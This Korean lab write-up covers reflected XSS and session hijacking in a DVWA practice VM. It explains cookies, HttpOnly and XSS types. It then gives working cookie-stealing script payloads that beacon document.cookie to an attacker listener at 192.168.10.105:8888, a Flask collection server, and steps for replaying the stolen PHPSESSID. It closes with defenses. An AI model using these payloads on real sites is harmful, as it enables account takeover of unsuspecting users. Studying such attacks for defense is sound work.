XSS로 훔친 쿠키가 세션 하이재킹이 되기까지
실습 환경: DVWA (Metasploitable2 VM,
192.168.10.105) 공격자 수집 서버: 같은 내부망의 리스너 (netcat / Python)
XSS에 필요한 선행 개념
쿠키는 누가 주고받나
HTTP는 원래 기억력이 없다(stateless). 요청 하나 처리하면 “너 누구였지?” 하고 잊어버린다. 그래서 로그인 상태 같은 걸 기억하려고 쿠키 + 세션을 쓴다.
- 브라우저가 서버에 요청 (로그인 등)
- 서버가 응답에
Set-Cookie: PHPSESSID=...를 실어서 발급 - 브라우저가 저장
- 이후 모든 요청에
Cookie: PHPSESSID=...를 자동으로 실어서 도로 보냄
즉 쿠키는 서버가 발급하고(Set-Cookie), 브라우저가 저장했다가 요청마다 되돌려 보낸다(Cookie).
브라우저 세션 vs 서버 세션
세션 ID는 일종의 “신분증 번호”다. 서버는 이 번호만 보고 누군지 판단한다.
| 브라우저 세션 | 유저/서버 세션 | |
|---|---|---|
| 위치 | 브라우저 (쿠키) | 서버 (세션 저장소) |
| 정체 | 열쇠 (PHPSESSID 값) | 금고 (실제 로그인 정보) |
| 훔치면 | = 쿠키 탈취 | 직접 못 훔침 (서버 안) |
| 브라우저 닫으면 | 세션 쿠키면 사라짐 | 타임아웃 전까지 서버에 남음 |
핵심은 이거다. 서버는 “열쇠(세션 ID)“만 보고 주인을 판단한다. 누가 들고 왔는지는 안 따진다. 그래서 세션 ID를 훔치면 비밀번호를 몰라도 그 사람 행세가 가능하다(세션 하이재킹).
실서비스는 어떻게 막나 — HttpOnly
네이버 쿠키를 열어보면 로그인 관련 쿠키(NID_AUT, NID_SES, JSESSIONID)에 HttpOnly 플래그가 걸려 있다.
HttpOnly가 걸린 쿠키는 JavaScript의document.cookie로 읽을 수 없다.- 콘솔에서
document.cookie를 실행해도NNB,NAC같은 비민감 쿠키만 보이고, 진짜 세션 쿠키는 안 나온다. - 결론: 네이버는 XSS가 터져도 쿠키 탈취 방식으로 로그인 세션을 못 훔친다. DVWA는 학습용이라 HttpOnly가 꺼져 있어서 탈취가 됐던 것.
쿠키 종류 구분
- NNB (Naver New Basic): 접속하자마자 발급되는 브라우저 식별/추적용 쿠키. 로그인 무관. HttpOnly 없음(훔쳐도 가치 낮음).
- NID_AUT / NID_SES: 로그인 성공 시에만 발급되는 인증/세션 쿠키. HttpOnly로 보호됨.
XSS의 원리
공격자가 웹페이지에 악성 JavaScript를 심어서, 그 페이지를 보는 다른 사용자의 브라우저에서 실행시키는 공격.
- SQL Injection → 공격 대상 = 서버(DB)
- XSS → 공격 대상 = 다른 사용자(브라우저)
즉 서버를 터는 게 아니라, 그 사이트를 믿고 쓰는 다른 사용자를 노린다.
JS라서 실행되는 게 아니라, 브라우저가 태그로 인식해서 실행된다
취약 코드 예:
echo "검색 결과: " . $_GET['q'];
| 입력 | 서버가 만든 HTML | 브라우저 해석 |
|---|---|---|
q=hello | 검색 결과: hello | 그냥 글자 → 화면 표시 |
q=<script>alert(1)</script> | 검색 결과: <script>alert(1)</script> | <script> 태그로 인식 → 실행 |
브라우저는 서버가 보낸 HTML을 위에서부터 해석하다가 <script>를 만나면 “실행하라는 코드”로 취급한다. 개발자가 의도했는지 공격자가 넣었는지 구분하지 못한다. 공격의 본질은 내 입력이 데이터(글자)가 아니라 코드(태그)로 취급되게 만드는 것 — SQLi와 완전히 동일한 인젝션 원리다.
XSS 3종류
| 종류 | 스크립트 위치 | 특징 |
|---|---|---|
| Reflected | 요청에 실려 즉시 응답에 반사 | URL 파라미터, 일회성(링크 클릭한 사람만) |
| Stored | DB에 저장 | 게시판/댓글, 그 페이지 보는 모든 사람 피해 (가장 위험) |
| DOM-based | 브라우저 JS가 직접 DOM 조작 | 서버 안 거침, 클라이언트에서만 발생 |
방어의 근본 원리
지금까지 배운 취약점의 공통 원인은 하나다 — 사용자 입력을 검증/처리 없이 그대로 신뢰한다.
| 취약점 | 입력이 들어가는 위치 |
|---|---|
| SQL Injection | 쿼리 |
| Command Injection | 시스템 명령 |
| Path Traversal | 파일 경로 |
| XSS | HTML 출력 |
// 취약
echo $_GET['name'];
// 패치 - <, >, " 등을 HTML 엔티티로 변환
echo htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');
<script> → <script>로 바뀌면 브라우저가 태그가 아니라 글자로 취급 → 실행 안 됨.
Reflected XSS로 쿠키 탈취하기
전체 흐름
[피해자 브라우저] ← 취약 페이지에서 XSS 실행
│ document.cookie 읽음 (PHPSESSID=...)
│ 요청을 공격자 서버로 발생시킴
▼
http://192.168.10.105:8888/steal?c=PHPSESSID=...
│
▼
[공격자 수집 서버] ← 요청 URL에 실린 쿠키 수신 → 확인/저장
1단계 — 수집 서버 띄우기
수집 서버는 공격자가 통제하는 곳이면 되고, 꼭 대상 VM일 필요는 없다.
방법 A — netcat (제일 간단, 확인용)
nc -lvp 8888
요청 하나 받으면 종료되는 경우가 많고, 요청 헤더가 통째로 화면에 찍혀서 쿠키를 눈으로 확인할 수 있다.
방법 B — Python 간이 서버 (계속 떠 있음)
python -m SimpleHTTPServer 8888 # Python2
# python3 -m http.server 8888 # Python3
/steal 이라는 파일이 없어서 브라우저엔 404가 뜨지만, 요청 URL(쿠키 포함)은 이미 로그에 찍힌다. 목적은 달성. 단점은 저장이 안 되고 피해자에게 404가 노출된다는 것.
방법 C — Flask (저장 + 404 제거)
from flask import Flask, request
app = Flask(__name__)
@app.route('/steal')
def steal():
cookie = request.args.get('c')
ip = request.remote_addr
ua = request.headers.get('User-Agent')
with open('cookies.txt', 'a') as f:
f.write(f"[{ip}] {cookie} | UA: {ua}\n")
print(f"[+] 쿠키 수신: {cookie} (from {ip})")
return '', 200 # 404 대신 깔끔한 응답
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)
/steal 경로를 직접 처리하니 404가 안 뜨고, IP와 User-Agent까지 파일에 남는다.
2단계 — 페이로드 주입
<!-- 화면이 이동함 (티가 남) -->
<script>document.location='http://192.168.10.105:8888/steal?c='+document.cookie</script>
<!-- 화면 이동 없이 백그라운드 전송 (은밀함) -->
<script>new Image().src='http://192.168.10.105:8888/steal?c='+document.cookie</script>
new Image().src 방식은 화면 이동이 없어 피해자가 눈치채기 어렵다.
/steal?c= 라는 주소의 의미
http://192.168.10.105:8888/steal?c=PHPSESSID=097617...
└─┬──┘ └┬┘
경로 파라미터
| 부분 | 필수? | 의미 |
|---|---|---|
/steal | X (자유) | 경로 이름. 알아보기 쉬우라고 붙임 |
? | O | “파라미터 시작” 구분자 |
c | X (이름 자유) | 파라미터 이름 (cookie의 c) |
= | O | 이름-값 연결 |
문법적으로 꼭 필요한 건 ?와 =뿐이다. ?c= 는 쿠키 값을 URL에 실어 나르는 그릇 역할이고, 서버에서 $_GET['c']로 값만 깔끔히 뽑아낼 수 있어 관례적으로 쓴다.
결과 확인
GET /steal?c=security=low; PHPSESSID=097617053af4dbb8110669d9759149ab HTTP/1.1
브라우저에 404가 떠도 성공이다. 주소창의 ?c=... 와 서버 로그의 쿠키가 진짜 결과물이다. 이 PHPSESSID 로 세션 하이재킹이 가능하다 — 개발자도구 → Application → Cookies에서 값을 교체하고 새로고침하면 피해자로 로그인된 상태가 된다.
포트에 대한 메모
- 리스너 포트(
nc -lvp 8888)와 페이로드 URL 포트(:8888)는 반드시 일치해야 쿠키가 도착한다. - 1024 미만 포트는 리스너를 열 때 root 권한이 필요하다(well-known port 보호). 실습은 1024 이상이 편하다.
- 이 보호의 의미는 방어 쪽에 있다. 서버에 침투한 낮은 권한 계정(
www-data등)이 표준 서비스 포트(80 등)를 가로채지 못하게 막는 것.
방어 관점 정리
| 계층 | 방어 | 효과 |
|---|---|---|
| 애플리케이션 (PHP) | htmlspecialchars() | 입력이 태그로 안 바뀌게 → XSS 원천 차단 |
| 쿠키 | HttpOnly | JS가 쿠키 못 읽음 → 이번 탈취 공격 무력화 |
| 쿠키 | Secure, SameSite | 전송 채널/크로스사이트 제한 |
| 세션 | 세션 타임아웃, 로그인 후 세션 ID 재발급 | 탈취된 세션의 수명 제한 / 세션 고정 방지 |
DVWA는 학습용으로 방어가 꺼져 있어 쉽게 뚫렸고, 네이버 같은 실서비스는 HttpOnly 하나로 동일 공격을 원천 차단한다. “공격 성공”에서 멈추지 말고 “실서비스는 어떻게 막았나”까지 확인하면 방어 설계가 보인다.